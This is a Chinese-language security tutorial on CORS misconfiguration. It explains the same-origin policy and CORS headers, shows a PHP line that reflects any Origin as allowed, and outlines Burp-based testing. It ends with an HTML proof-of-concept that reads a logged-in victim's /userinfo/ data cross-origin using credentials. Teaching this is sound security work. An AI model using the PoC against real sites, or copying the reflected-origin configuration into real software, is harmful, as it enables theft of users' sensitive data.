cors漏洞
cors称为跨域资源共享
它的诞生主要是解决浏览器的同源策略
同源策略又是什么呢
同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现
同源策略(same origin policy)
SOP 可以理解为是浏览器的安全基石
如果没有这个,其他的恶意网站就是可以利用自身的脚本随意的操作合法网站的任何可操作的资源
没有任何限制
cors主要是解决不同域的应用的能够无视同源策略
浏览器的同源测试规定:
不同域的客户端脚本在没有明确授权的情况下,不能读取对方的资源,
同源:
是要满足同协议 同域名,同端口
也就是同源
http://www.baidu.com/index.php
http://www.baidu.com/ddd.php
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象
跨域访问的一些场景
1.比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
2.程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
3.电商网站想通过用户浏览器加载第三方快递网站的物流信息。
4.子站域名希望调用主站域名的用户资料接口,并将数据显示出来
我们来了解一下
与其相关的http头部字段
Origin 表面预检请求的源站url。浏览器请求默认会发送该字段
Access-Control-Request-Method
将实际请求所使用的http方法告知服务器
Access-Control-Request-Headers 将实际请求所携带的首部字段告知服务
响应头
Access-Control-Allow-Origin(ACAO) 指定允许访问资源的外域URI,对于携带身份凭证的请求不可使用通配符*
Access-Control-Allow-Credentials 是否允许浏览器读取response的内容,当用在preflight预检请求的响应中时,指定实际的请求是否可使用credentials
php代码实现
允许所有 *
允许来特定的源
<?php header('Access-Control-Allow-Origin: ',$_SERVER['HTTP_ORIGIN']); ?>可以在burp请求设置referer请求
来自动化实现发现cors漏洞
发送数据包部分内容
Origin:http://test.com
响应包内容
带true了
就是允许跨域,可以更改http的内容
看响应的域名是否有变化
不同点
第三方网站可以利用cors读取到受害者的敏感信息
第三方网站可以利用csrf模仿受害者进行部分敏感操作
poc
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com/userinfo/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>